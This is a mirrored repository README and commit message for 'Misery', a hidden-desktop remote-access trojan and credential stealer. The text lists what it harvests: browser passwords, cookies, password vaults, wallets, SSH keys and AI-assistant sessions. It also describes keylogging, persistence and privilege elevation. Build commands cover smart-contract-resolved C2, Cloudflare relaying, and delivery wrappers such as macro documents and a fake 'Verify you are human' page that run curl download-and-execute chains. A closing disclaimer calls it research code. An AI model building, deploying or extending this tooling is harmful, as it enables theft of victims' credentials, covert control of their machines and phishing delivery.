mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
The agent resolves its C2 endpoint from a resolver contract on a public chain via eth_call (free, read-only), so the compiled binary carries no C2 address; rotating the C2 is one contract call and every bot picks up the new value on next start. Pattern per the 2026 Remus analysis: eth_call with the get() selector (0x6d4ce63c) against a public JSON-RPC provider, the endpoint stored as a bytes32 host:port. Any failure falls back to the compiled endpoint. - src/transport/etherhiding.cpp/hpp: eth_call resolver, bytes32 decode, host:port parse, WinHTTP POST with hard timeouts - agent: resolves before the argv/env override so an explicit endpoint still wins; HVNC_CHAIN_RPC / HVNC_CHAIN_CONTRACT env vars override - setup.py: CHAIN_RPC / CHAIN_CONTRACT options; the guided wizard asks for the resolver under TCP; the summary and recreate line carry them - tools/etherhiding.py: read (stdlib) and update (web3 optional, explorer instructions otherwise); contract source included, deployed via Remix - verified: selectors checked against a real keccak implementation, contract compiles with solc 0.8.19, wizard and non-interactive flows emit the config end to end, mock RPC positive/negative tests, live HTTPS RPC probe degrades gracefully, and the full steal still recovers the v20 key through the chain-resolved agent
210 lines
10 KiB
Markdown
210 lines
10 KiB
Markdown
# Misery
|
|
|
|
<p align="center">
|
|
<img src="Misery.png" alt="Misery" width="420">
|
|
<br>
|
|
<em>a devoted sister of the Church of Malware</em>
|
|
</p>
|
|
|
|
**A HVNC remote-access trojan and stealer rebuilt for the App-Bound Encryption era.**
|
|
|
|
Derived from the 2023-era Creal stealer. Since mid-2024 Chrome has locked credential decryption behind App-Bound Encryption (ABE), a COM service running as the browser user. The agent spawns a suspended browser and reflectively injects a payload DLL, which walks that COM object in-process so decrypted credentials never touch disk. ABE research is all [xaitax](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption). Local testing and research only.
|
|
|
|
## Demo
|
|
|
|
<p align="center">
|
|
<img src="demo.gif" alt="Misery demo" width="1000">
|
|
</p>
|
|
|
|
## VirusTotal
|
|
|
|
<p align="center">
|
|
<img src="MiseryVT.png" alt="VirusTotal scan result" width="1000">
|
|
</p>
|
|
|
|
## Features
|
|
|
|
- 🖥️ **Hidden desktop** (`hvnc start` / `hvnc launch chrome`): GDI apps and a real Chromium on a hidden desktop, streamed live
|
|
- 🌐 **Ghosted browser** (`ghost <url>`): hidden Chrome/Edge session using the victim's cookies and logins
|
|
- 🔑 **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox
|
|
- 💳 **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extensions, Signal sessions
|
|
- **Password managers** (`password_managers`): LastPass (raw vault capture), Windows Credential Manager, Proton Pass (raw vault capture)
|
|
- **Games** (`games`): Minecraft accounts, Roblox cookies, Epic, Battle.net, Riot, Ubisoft, GOG, EA, Rockstar
|
|
- **Network clients** (`network_clients`): WinSCP, PuTTY, mRemoteNG, MobaXterm, OpenVPN
|
|
- **AI assistants** (`ai_assistants`): Claude Desktop, OpenAI Codex, Gemini CLI, opencode
|
|
- 🔐 **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN
|
|
- 🧊 **EtherHiding C2**: the TCP endpoint resolves from a smart contract on a public chain, so the binary carries no C2 address; rotate the C2 by calling the contract
|
|
- 📦 **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, `-p` wrappers for 9 delivery formats
|
|
- ⌨️ **Keylogger and clipboard monitoring**
|
|
- 🪝 **Persistence**: user-registry Run key and WMI event subscriptions
|
|
- 🕵️ **Anti-analysis**: user-mode environment checks, reflective injection
|
|
|
|
## How it works
|
|
|
|
- 🔐 **Channel**: the console holds the private half of an ECDH P-256 keypair in `.misery_key`; the agent only ever ships the public half. Every session derives a fresh AES-256-GCM key from the handshake, so no key material repeats across bots.
|
|
- 💉 **Stealing**: the v20 master key comes from the COM IElevator service, called inside a suspended, freshly spawned browser via reflective payload injection so the process-path check passes. The offline agent falls back to the DPAPI v10 key. No disk write, and the browser never visibly opens.
|
|
- 🖥️ **HVNC**: GDI apps run on a hidden desktop and stream frames to the operator view. Ghosted sessions drive a real Chromium over the Chrome DevTools Protocol, logged into the victim's profiles; the browser is basically them.
|
|
- ⬆️ **Elevation**: relaunch as admin via a forged PEB (process environment block) and COM auto-elevation (CMSTPLUA/ICMLuaUtil), then SYSTEM through SeDebug token theft from a non-PPL process.
|
|
|
|
## Tested On
|
|
|
|
| Target | Version |
|
|
|---|---|
|
|
| Google Chrome | `151.0.7922.140` |
|
|
| Microsoft Edge | `151.0.4129.59` |
|
|
| Elevation chain | Windows 11 25H2 (build 26200) |
|
|
|
|
## Quick start
|
|
|
|
`setup.py` writes `src/config.h`, saves the console's ECDH key to `.misery_key`, and builds the project:
|
|
|
|
```powershell
|
|
python setup.py -g # interactive
|
|
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent # non-interactive
|
|
```
|
|
|
|
Run the console listener, then the agent:
|
|
|
|
```powershell
|
|
.\build\console.exe
|
|
.\build\agent.exe
|
|
```
|
|
|
|
Type `help` in the console for the full command list.
|
|
|
|
## CDN mode
|
|
|
|
Same console and commands, no public IP. The agent POSTs encrypted frames to a
|
|
Cloudflare Worker that relays through a Zero Trust Tunnel to the console.
|
|
|
|
```powershell
|
|
python setup.py -t https_cdn BEACON_URL=https://<you>.workers.dev/poll AUTH_SECRET=<secret> TUNNEL_HOST=c2.example.com
|
|
```
|
|
|
|
setup.py emits `deploy/worker.js` and `deploy/cloudflared-config.yml`. Deploy
|
|
the worker with `wrangler deploy deploy/worker.js`, fill the tunnel UUID into
|
|
the config, `cloudflared tunnel run <name>`.
|
|
|
|
## EtherHiding C2
|
|
|
|
The agent can resolve its TCP endpoint from a smart contract on a public chain
|
|
(`eth_call`, free and read-only), so the compiled binary carries no C2 address.
|
|
Rotate the C2 by updating the contract; every bot picks up the new value on
|
|
its next start. A dead RPC or decode failure falls back to the compiled
|
|
endpoint.
|
|
|
|
1. Deploy the resolver once in Remix or on the chain explorer (contract source
|
|
is in `tools/etherhiding.py`).
|
|
2. Store the endpoint, and read it back:
|
|
|
|
```powershell
|
|
python tools\etherhiding.py update --contract 0x... --value 10.2.0.2:4444 --key <privkey>
|
|
python tools\etherhiding.py read --contract 0x...
|
|
```
|
|
|
|
3. Build with the resolver wired in; the wizard asks for it under TCP, or pass
|
|
it directly:
|
|
|
|
```powershell
|
|
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 CHAIN_CONTRACT=0x... CHAIN_RPC=https://cloudflare-eth.com
|
|
```
|
|
|
|
The value is a `bytes32` `host:port`, 31 chars max. `HVNC_CHAIN_RPC` /
|
|
`HVNC_CHAIN_CONTRACT` env vars override both at runtime; an explicit agent
|
|
`argv` endpoint overrides the chain.
|
|
|
|
## Payload wrappers
|
|
|
|
The builder (`setup.py -p <formats>`) packages the agent into delivery
|
|
filetypes in `dist/` and records each one in `<out>.manifest.json` with its
|
|
sha256 and size. `python setup.py --list-formats` prints the current list with
|
|
dependencies.
|
|
|
|
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run from a compiled base (`wrappers_bases/docm_base.docm`)
|
|
- `xlsm` - Excel macro workbook; `Workbook_Open` shells the same chain from a compiled base (`wrappers_bases/xlsm_base.xlsm`); runtime values live in a hidden `cfg` sheet
|
|
- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
|
|
- `pdf` - agent embedded as a PDF attachment, launched on open
|
|
- `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
|
|
- `clickfix_html` - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
|
|
- `iso` - ISO with the agent inside, sidesteps MOTW
|
|
- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk` and its companion `.cmd`
|
|
- `polyglot_html` - runs as an exe, shows a decoy page in a browser
|
|
|
|
```powershell
|
|
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://127.0.0.1:8080/misery.exe
|
|
```
|
|
|
|
`-p all` builds every format. The macro, lnk, clickfix, and polyglot_exe_zip
|
|
formats fetch the agent from `STAGE_URL` when the target opens them; pdf, html,
|
|
iso, and polyglot_html carry the agent themselves.
|
|
|
|
Delivery notes:
|
|
|
|
- The docm/xlsm bases are compiled by Office itself; pyopenvba-style rebuilds write source-only streams whose auto-events never hook (root-caused live 2026-08). Builds inject only the stage URL and agent filename, so no macro stream is ever rewritten.
|
|
- The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as `STAGE_URL`; host the generated `<out>.cmd` and `<out>.decoy.pdf` next to the agent.
|
|
- Downloaded files get the Mark-of-the-Web, which trips SmartScreen on macros and executables. Extract a container with 7-Zip or WinRAR to drop it. That's the route for macro and exe formats; pdf and html serve fine straight from a browser.
|
|
- Optional libs; a missing one just skips its formats: `pip install pylnk3 pycdlib pikepdf python-docx openpyxl`
|
|
|
|
The docm/xlsm bases live in `wrappers_bases/` and ship with the repo; rebuild
|
|
them in Office if you ever change the macro logic (see the wrapper docstring
|
|
notes), then commit the new base.
|
|
|
|
## Commands
|
|
|
|
| Command | What it does |
|
|
| --- | --- |
|
|
| `bot` | list bots; `bot <id>` targets one, `bot all` broadcasts |
|
|
| `steal` | run credential and session harvesting |
|
|
| `loot` / `dump` | replay the last steal result as boxed terminal sections |
|
|
| `elevate [system]` | relaunch the agent as admin; `system` chains to SYSTEM |
|
|
| `hvnc start` / `hvnc stop` | start or stop the hidden desktop session |
|
|
| `hvnc launch [path]` | launch an app (default Chrome) on the hidden desktop |
|
|
| `hvnc quality [10-100]` | set streamed frame JPEG quality |
|
|
| `ghost <url>` | open a URL in a ghosted hidden browser |
|
|
| `ghost nav <url>` | navigate the ghost browser |
|
|
| `ghost stop` | stop the ghost session |
|
|
| `keylog` | toggle the keylogger |
|
|
| `clip` | read the victim's clipboard |
|
|
| `shell / ps <cmd>` | run a hidden PowerShell one-liner on the agent |
|
|
| `history` | show command history |
|
|
| `clear` / `exit` | clear the terminal / quit |
|
|
|
|
## Build
|
|
|
|
Requires `cmake` and a C++ toolchain (MSVC, MinGW, or Clang).
|
|
|
|
MSVC:
|
|
|
|
```powershell
|
|
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
|
|
cmake --build build --config Release
|
|
```
|
|
|
|
MinGW:
|
|
|
|
```powershell
|
|
cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
|
|
cmake --build build -j 4
|
|
```
|
|
|
|
A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.misery_key` exists.
|
|
|
|
## Layout
|
|
|
|
- `src/agent`: entry, C2 client, injector, persistence
|
|
- `src/console`: operator console + listener
|
|
- `src/payload`: payload DLL, reflective loader, trampoline
|
|
- `src/stealer`: Misery-derived sources
|
|
- `src/hvnc`: hidden-desktop session
|
|
- `src/ghost`: ghosted browser session
|
|
- `src/browser`: CDP client (Page/Input over WebSocket)
|
|
- `src/rat`: keylogger + clipboard
|
|
- `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression
|
|
- `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers
|
|
- `tools/`: operator helpers (EtherHiding resolver read/update)
|
|
- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers
|
|
- `build/`: out-of-source build dir
|
|
|
|
## Licence
|
|
|
|
No licence granted. Research code for study only; not licensed for redistribution or commercial use. |